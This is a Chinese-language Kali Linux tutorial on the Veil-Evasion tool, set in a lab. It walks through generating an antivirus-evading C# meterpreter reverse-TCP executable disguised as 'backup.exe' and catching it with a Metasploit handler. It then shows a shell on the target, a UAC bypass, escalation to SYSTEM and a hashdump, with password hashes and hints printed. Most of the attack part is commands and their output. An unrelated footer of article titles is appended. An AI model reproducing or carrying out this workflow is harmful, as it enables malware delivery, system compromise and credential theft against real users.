Kali-linux免杀Payload生成工具Veil
Veil是一款利用Metasploit框架生成相兼容的Payload工具,并且在大多数网络环境中能绕过常见的杀毒软件。本节将介绍Veil工具的安装及使用。
在Kali Linux中,默认没有安装Veil工具。这里首先安装Veil工具,执行如下所示的命令:
root@kali:~# apt-get install veil
执行以上命令后,如果安装过程没有提示错误的话,则表示Veil工具安装成功。由于安装该工具依赖的软件较多,所以此过程时间有点长。
启动Veil工具。执行命令如下所示:
root@kali:~# veil-evasion
执行以上命令后,将会输出大量的信息。如下所示:
===============================================
Veil First Run Detected… Initializing Script Setup…
===============================================
[*] Executing ./setup/setup.sh
===============================================
Veil-Evasion Setup Script | [Updated]: 01.15.2015
===============================================
[Web]: https://www.veil-framework.com | [Twitter]: @VeilFramework
===============================================
[*] Initializing Apt Dependencies Installation
[*] Adding i386 Architecture To x86_64 System
[*] Updating Apt Package Lists
命中 http://mirrors.ustc.edu.cn kali Release.gpg
命中 http://mirrors.ustc.edu.cn kali/updates Release.gpg
命中 http://mirrors.ustc.edu.cn kali Release
命中 http://mirrors.ustc.edu.cn kali/updates Release
命中 http://mirrors.ustc.edu.cn kali/main Sources
命中 http://mirrors.ustc.edu.cn kali/non-free Sources
命中 http://mirrors.ustc.edu.cn kali/contrib Sources
命中 http://mirrors.ustc.edu.cn kali/main amd64 Packages
命中 http://mirrors.ustc.edu.cn kali/non-free amd64 Packages
命中 http://mirrors.ustc.edu.cn kali/contrib amd64 Packages
获取:1 http://mirrors.ustc.edu.cn kali/main i386 Packages [8,474 kB]
命中 http://http.kali.org kali Release.gpg
命中 http://security.kali.org kali/updates Release.gpg
命中 http://http.kali.org kali Release
……
忽略 http://http.kali.org kali/non-free Translation-en
下载 17.8 MB,耗时 20秒 (859 kB/s)
正在读取软件包列表… 完成
[*] Installing Wine i386 Binaries
正在读取软件包列表… 完成
正在分析软件包的依赖关系树
正在读取状态信息… 完成
将会安装下列额外的软件包:
gcc-4.7-base:i386 libasound2:i386 libc-bin libc-dev-bin libc6 libc6:i386
libc6-dev libc6-i686:i386 libdbus-1-3:i386 libdrm-intel1:i386
libdrm-nouveau1a:i386 libdrm-radeon1:i386 libdrm2:i386 libexpat1:i386
libffi5:i386 libfontconfig1:i386 libfreetype6:i386 libgcc1:i386
[*] Cleaning Up Setup Files
[*] Updating Veil-Framework Configuration
Veil-Framework configuration:
[*] OPERATING_SYSTEM = Kali
[*] TERMINAL_CLEAR = clear
[*] TEMP_DIR = /tmp/
[*] MSFVENOM_OPTIONS =
[*] METASPLOIT_PATH = /usr/share/metasploit-framework/
[*] PYINSTALLER_PATH = /usr/share/pyinstaller/
[*] VEIL_EVASION_PATH = /usr/share/veil-evasion/
[*] PAYLOAD_SOURCE_PATH = /root/veil-output/source/
[*] Path '/root/veil-output/source/' Created
[*] PAYLOAD_COMPILED_PATH = /root/veil-output/compiled/
[*] Path '/root/veil-output/compiled/' Created
[*] Path '/root/veil-output/handlers/' Created
[*] GENERATE_HANDLER_SCRIPT = True
[*] HANDLER_PATH = /root/veil-output/handlers/
[*] HASH_LIST = /root/veil-output/hashes.txt
[*] VEIL_CATAPULT_PATH = /usr/share/Veil-Catapult/
[*] Path '/root/veil-output/catapult/' Created
[*] CATAPULT_RESOURCE_PATH = /root/veil-output/catapult/
[*] Path '/etc/veil/' Created
Configuration File Written To '/etc/veil/settings.py'
以上信息只有在第一次运行Veil时才显示。在此过程中,初始化一些脚本、软件包列表、更新配置及安装需要的软件包。在此过程中以图形界面的形式依次安装了Python及它的两个模块pywin32-218和pycrypto-2.6。下面依次进行安装。首先弹出的对话框,如图6.32所示。
图6.32 Python初始界面
该界面是安装Python的初始界面。这里使用默认设置,单击Next按钮,将显示如图6.33所示的界面。
图6.33 选择Python安装位置
在该界面单击Next按钮,将显示如图6.34所示的界面。该界面提示C:\Python27已存在,确认是否要覆盖已存在的文件。这里单击Yes按钮,将显示如图6.35所示的界面。
图6.34 确认Python的安装位置
图6.35 自定义Python
在该界面自定义安装Python的一些功能。这里使用默认的设置,单击Next按钮,将显示如图6.36所示的界面。
图6.36 安装完成
该界面提示Python已经安装完成。此时单击Finish按钮,将显示如图6.37所示的界面。
图6.37 安装pywin32-218模块界面
该界面是要求安装pywin32-218模块。这里单击“下一步”按钮,将显示如图6.38所示的界面。
图6.38 设置向导
这里使用默认设置,单击“下一步”按钮,将显示如图6.39所示的界面。
图6.39 准备安装
该界面用来确实是否要开始安装。如果确认配置正确的话,单击“下一步”按钮,将显示如图6.40所示的界面。
图6.40 安装完成
从该界面可以看到pywin32-218模块已经安装完成。此时单击“结束”按钮,将显示如图6.41所示的界面。
图6.41 安装pycrypto-2.6模块初始界面
该界面提示需要安装pycrypto-2.6模块。这里单击“下一步”按钮开始安装,如图6.42所示。
图6.42 设置向导
这里使用默认设置,单击“下一步”按钮,将显示如图6.43所示的界面。
图6.43 准备安装
该界面提示将要安装pycrypto模块。这里单击“下一步”按钮,将显示如图6.44所示的界面。
图6.44 安装完成
从该界面可以看到以上软件包已安装完成。此时单击“结束”按钮,将显示如下所示的信息:
===============================================
Veil-Evasion | [Version]: 2.4.3
===============================================
[Web]: https://www.veil-framework.com/ | [Twitter]: @VeilFramework
===============================================
Main Menu
24 payloads loaded
Available commands:
use use a specific payload
info information on a specific payload
list list available payloads
update update Veil to the latest version
clean clean out payload folders
checkvt check payload hashes vs. VirusTotal
exit exit Veil
[>] Please enter a command:
从以上信息中可以看到在Veil下,有24个攻击载荷可加载,并列出了可用的命令。现在就可以进行各种操作了。例如查看可加载的攻击模块,执行命令如下所示:
[>] Please enter a command: list
===============================================
Veil-Evasion | [Version]: 2.4.3
===============================================
[Web]: https://www.veil-framework.com/ | [Twitter]: @VeilFramework
===============================================
[*] Available payloads:
1) c/meterpreter/rev_tcp
2) c/meterpreter/rev_tcp_service
3) c/shellcode_inject/virtual
4) c/shellcode_inject/void
5) cs/meterpreter/rev_tcp
6) cs/shellcode_inject/base64_substitution
7) cs/shellcode_inject/virtual
8) native/Hyperion
9) native/backdoor_factory
10) native/pe_scrambler
11) powershell/shellcode_inject/download_virtual
12) powershell/shellcode_inject/psexec_virtual
13) powershell/shellcode_inject/virtual
14) python/meterpreter/rev_http
15) python/meterpreter/rev_http_contained
16) python/meterpreter/rev_https
17) python/meterpreter/rev_https_contained
18) python/meterpreter/rev_tcp
19) python/shellcode_inject/aes_encrypt
20) python/shellcode_inject/arc_encrypt
21) python/shellcode_inject/base64_substitution
22) python/shellcode_inject/des_encrypt
23) python/shellcode_inject/flat
24) python/shellcode_inject/letter_substitution
从输出的信息中,可以看到有24个可用的攻击载荷。此时可以利用任何一个攻击载荷,进行渗透攻击。
【实例6-5】演示使用Veil工具中的载荷(本例以cs/meterpreter/rev_tcp为例),进行渗透攻击(这里以Windows 7作为攻击靶机)。具体操作步骤如下所示。
(1)启动Veil工具。执行命令如下所示:
root@kali:~# veil-evasion
执行以上命令后,将显示如下所示的信息:
===============================================
Veil-Evasion | [Version]: 2.4.3
===============================================
[Web]: https://www.veil-framework.com/ | [Twitter]: @VeilFramework
===============================================
Main Menu
24 payloads loaded
Available commands:
use use a specific payload
info information on a specific payload
list list available payloads
update update Veil to the latest version
clean clean out payload folders
checkvt check payload hashes vs. VirusTotal
exit exit Veil
[>] Please enter a command:
在输出的信息中看到[>] Please enter a command:提示符,就表示Veil登录成功了。
(2)选择cs/meterpreter/rev_tcp攻击载荷。在攻击载荷列表中,cs/meterpreter/rev_tcp载荷的编号是5。执行命令如下所示:
[>] Please enter a command: use 5
===============================================
Veil-Evasion | [Version]: 2.4.3
===============================================
[Web]: https://www.veil-framework.com/ | [Twitter]: @VeilFramework
===============================================
Payload: cs/meterpreter/rev_tcp loaded
Required Options:
Name Current Value Description
---- ------------- --------------------------
LHOST IP of the metasploit handler
LPORT 4444 Port of the metasploit handler
compile_to_exe Y Compile to an executable
Available commands:
set set a specific option value
info show information about the payload
generate generate payload
back go to the main menu
exit exit Veil
[>] Please enter a command:
输出信息显示了rev_tcp攻击载荷可配置的选项参数。这里默认指定的本地端口(LPORT)是4444,LHOST选项还没有配置。
(3)配置LHOST选项参数,并查看攻击载荷的详细信息。执行命令如下所示:
[>] Please enter a command: set LHOST 192.168.6.103
[>] Please enter a command: info
===============================================
Veil-Evasion | [Version]: 2.4.3
===============================================
[Web]: https://www.veil-framework.com/ | [Twitter]: @VeilFramework
===============================================
Payload information:
Name: cs/meterpreter/rev_tcp
Language: cs
Rating: Excellent
Description: pure windows/meterpreter/reverse_tcp stager, no shellcode
Required Options:
Name Current Value Description
---- ------------- --------------------------
LHOST 192.168.6.100 IP of the metasploit handler
LPORT 4444 Port of the metasploit handler
compile_to_exe Y Compile to an executable
从输出的信息中,可以看到rev_tcp攻击载荷的详细信息,如攻击载荷名、语言、级别及配置的选项参数等。
(4)此时,使用generate命令生成载荷文件。执行命令如下所示:
[>] Please enter a command: generate
===============================================
Veil-Evasion | [Version]: 2.4.3
===============================================
[Web]: https://www.veil-framework.com/ | [Twitter]: @VeilFramework
===============================================
[*] Press [enter] for 'payload'
[>] Please enter the base name for output files: backup #指定输出文件名
在以上命令中指定一个文件名为backup。然后按下回车键,将显示如下所示的信息:
[*] Executable written to: /root/veil-output/compiled/backup.exe
Language: cs
Payload: cs/meterpreter/rev_tcp
Required Options: LHOST=192.168.6.103 LPORT=4444 compile_to_exe=Y
Payload File: /root/veil-output/source/backup.cs
Handler File: /root/veil-output/handlers/backup_handler.rc
[*] Your payload files have been generated, don't get caught!
[!] And don't submit samples to any online scanner! ;)
[>] press any key to return to the main menu:
从输出的信息中可以看到生成一个可执行文件backup.exe,并且该文件保存在/root/veil-output/compiled/中。此时将可执行文件backup.exe发送到目标主机上,就可以利用该攻击载荷了。
接下来需要使用Metasploit创建一个远程处理器,等待目标主机连接到Kali Linux(攻击主机)操作系统。连接成功后,就获取到一个远程Shell命令。
【实例6-6】创建远程处理器。具体操作步骤如下所示。
(1)启动MSF终端。
(2)使用handler模块。执行命令如下所示:
msf > use exploit/multi/handler
(3)加载reverse_tcp攻击载荷,并设置其选项参数。执行命令如下所示:
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(handler) > set LHOST 192.168.6.103
LHOST => 192.168.6.103
(4)启动渗透攻击。执行命令如下所示:
msf exploit(handler) > exploit
[*] Started reverse handler on 192.168.6.103:4444
[*] Starting the payload handler…
从输出信息可以看到攻击载荷已启动,正在等待连接目标主机。
此时将前面生成的可执行文件backup.exe发送到目标主机(Windows 7),并运行该可执行文件。然后返回到Kali Linux操作系统,将看到如下所示的信息:
[*] Sending stage (769536 bytes) to 192.168.6.110
[*] Meterpreter session 1 opened (192.168.6.103:4444 -> 192.168.6.110:2478) at 2014-07-17 10:44:47 +0800
meterpreter >
从以上信息中,可以看到成功打开了一个Meterpreter会话。这表示已成功渗透攻击目标主机,现在就可以进行一些Shell命令。如进行目标主机的Shell环境,执行命令如下 所示:
meterpreter > shell
Process 1544 created.
Channel 1 created.
Microsoft Windows [版本 6.1.7601]
(c) 2009 Microsoft Corporation
C:\Users\lyw\Desktop>
输出的信息表示进入了目标系统Windows 7的命令行,并且当前目标系统登录的用户是lyw。
如果以上用户没有太高权限时,可以使用Metasploit中的bypassuac模块绕过UAC(用户访问控制),进而提升用户的权限。下面将介绍使用bypassuac模块提升以上lyw用户的权限。
(1)将Meterpreter会话,调用到后台运行。执行命令如下所示:
meterpreter > background
[*] Backgrounding session 1…
从输出的信息中,可以看到当前后台运行的会话编号是1。该会话编号需要记住,在后面将会用到。
(2)查看会话详细信息。执行命令如下所示:
从输出信息中可以看到该会话中,连接到目标系统的运行架构、计算机名及IP地址。
(3)使用bypassuac模块,并查看可配置的选项参数。执行命令如下所示:
从输出信息中,可以看到模块选项中有一个可配置的选项参数SESSION。该选项的值,就是当前后台运行的会话编号。
(4)设置SESSION选项参数。如下所示:
msf exploit(bypassuac) > set session 1
session => 1
(5)启动渗透攻击。执行命令如下所示:
msf exploit(bypassuac) > exploit
[*] Started reverse handler on 192.168.6.103:4444
[*] UAC is Enabled, checking level…
[+] UAC is set to Default
[+] BypassUAC can bypass this setting, continuing…
[+] Part of Administrators group! Continuing…
[*] Uploaded the agent to the filesystem….
[*] Uploading the bypass UAC executable to the filesystem…
[*] Meterpreter stager executable 73802 bytes long being uploaded..
[*] Sending stage (769536 bytes) to 192.168.6.106
[*] Meterpreter session 2 opened (192.168.6.103:4444 -> 192.168.6.106:49206) at 2014-07-18 10:15:38 +0800
meterpreter >
从输出的信息中,可以看到目前登录的用户实际上是属于管理组的成员,并且绕过了UAC创建了一个新的会话。此时就可以提升用户的权限了。
(6)查看lyw用户的信息。执行命令如下所示:
meterpreter > getuid
Server username: WIN-RKPKQFBLG6C\lyw
从输出信息中可以看到该用户只是WIN-RKPKQFBLG6C计算机中的一个普通用户。
(7)提升lyw用户的权限,并查看其用户信息。执行命令如下所示:
meterpreter > getsystem
…got system (via technique 1).
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
从输出信息中可以看到当前lyw用户,拥有了系统级别的权限。此时,可以进行任何的操作。如捕获目标系统中,用户的密码哈希值。执行命令如下所示:
meterpreter > run post/windows/gather/hashdump
[*] Obtaining the boot key…
[*] Calculating the hboot key using SYSKEY 88f6c818af614f7033cb885 74907b61c…
[*] Obtaining the user list and keys…
[*] Decrypting user keys…
[*] Dumping password hints…
Test:"www.123"
abc:“123456”
alice:“passwd”
[*] Dumping password hashes…
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
bob:1001:aad3b435b51404eeaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4:::
从输出的信息中,可以看到目标系统中有三个用户,并且可以看到它们的UID及密码哈希值。而且,还捕获到三个键盘输入的密码。如捕获的Test用户,其密码为www.123。
Kali-linux免杀Payload生成工具Veil的更多相关文章
- Kail Linux渗透测试教程之免杀Payload生成工具Veil
Kail Linux渗透测试教程之免杀Payload生成工具Veil 免杀Payload生成工具——Veil Kail Linux渗透测试教程之免杀Payload生成工具Veil,Veil是一款利用M ...
- 迁移Veil:手工打造Windows下编译的免杀Payload
作者:RedFree 本文转自乌云 Veil对Payload的免杀已经做的很好了,最新的Veil有39个可用的Payload.但是有时候需要使用Windows来完成所有的渗透测试工作,Linux和Wi ...
- Linux 下杀毒可用工具 clamav
clamav 杀毒工具:Linux下可用的杀毒工具: 下载地址: 最新 包 0.101 官网下载地址:http://www.clamav.net/downloads最新包地址: https://cla ...
- Kali Linux安装AWVS漏扫工具
Acunetix是全球排名前三的漏洞发现厂商,其全称(Acunetix Web Vulnerability Scanner)AWVS是业内领先的网络漏洞扫描器,其被广泛赞誉为包括最先进的SQL注入和X ...
- 后门免杀工具-Backdoor-factory
水一水最近玩的工具 弄dll注入的时候用到的 介绍这款老工具 免杀效果一般..但是简单实用 目录: 0x01 backdoor-factory简介 0x02 特点功能 0x03 具体参数使用 PS: ...
- 20165310 NetSec2019 Week5 Exp3 免杀原理与实践
20165310 NetSec2019 Week5 Exp3 免杀原理与实践 一.免杀原理 杀软是如何检测出恶意代码的 基于特征码的检测:特征码就是一段恶意程序有但是正常程序没有的一段代码,当杀软检测 ...
- 20155217《网络对抗》Exp03 免杀原理与实践
20155217<网络对抗>Exp03 免杀原理与实践 实践内容 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程 ...
- 20155233 《网络对抗技术》EXP3 免杀原理与实践
正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等免杀工具或技巧 使用msf编码器生成jar包 输入命令msfvenom -p ...
- 黑客专用操作系统——Kali Linux简介
1如果您之前使用过或者了解BackTrack系列Linux的话,那么我只需要简单的说,Kali是BackTrack的升级换代产品,从Kali开始,BackTrack将成为历史. 如果您没接触过Back ...
随机推荐
- [javaSE] 数据结构(二叉查找树-插入节点)
二叉查找树(Binary Search Tree),又被称为二叉搜索树,它是特殊的二叉树,左子树的节点值小于右子树的节点值. 定义二叉查找树 定义二叉树BSTree,它保护了二叉树的根节点BSTNod ...
- java虚拟机的内存机制
我们都知道,java程序的跨平台性离不开java虚拟机,虚拟机隔绝了底层操作系统,使得java程序可以直接运行在虚拟机之上.所以,对java的学习,离不开对java虚拟机的学习与了解.下面简单整理下j ...
- static关键字作用
之前讲到final关键字的作用是每次面试的时候我必问求职者的两个问题之一,另外一个问题就是文本会写到的static.final和static一样,都是一个小问题可以看到一个人的基础是否扎实以及平时是否 ...
- CSS实现文字两端对齐
最近的项目遇到了这样的需求:(要求标题部分不管文字多少,都必须两端对齐) 如下图: 当时也没有多想直接使用‘ ’进行代替,毕竟产品同学想快一点看到效果,不敢怠慢!不过到第二个页面就傻眼了. 如图: 这 ...
- bzoj3697_FJ2014集训_采药人的路径_solution
小道士的矫情之路: 点分治, 对于每个子树,处理其内经过根(重心)的路径,然后递归下一层子树: 如何处理经过根的合法路径 合法有两个要求: 把输入的0改成-1后 1.len=0; 2.存在一个点i使被 ...
- WC2017 游记
你若安好,便是晴天. 其实本来是有一个写的比较详细的游记的……然而后来给断了,懒得补上了,简单一点好了. Day 0 早早爬起来去赶高铁…… 路上没太多可以写的……坐高铁的时候想起来了一些不开心的事情 ...
- input button 与 submit 的区别
在表单中,我们会经常提交数据,通常使用<input type="submit" value="提交"/>进行提交数据, 另一种方式是使用<bu ...
- 强化学习系列之:Deep Q Network (DQN)
文章目录 [隐藏] 1. 强化学习和深度学习结合 2. Deep Q Network (DQN) 算法 3. 后续发展 3.1 Double DQN 3.2 Prioritized Replay 3. ...
- 1 python使用networkx或者graphviz,pygraphviz可视化RNN(recursive)中的二叉树
代码地址https://github.com/vijayvee/Recursive-neural-networks-TensorFlow 代码实现的是结构递归神经网络(Recursive NN,注意, ...
- .PHONY makefile中的伪目标
我的理解: 拿clean举例,如果make完成后,自己另外定义一个名叫clean的文件,再执行make clean时,将不会执行rm命令. 为了避免出现这个问题,需要.PHONY: clean === ...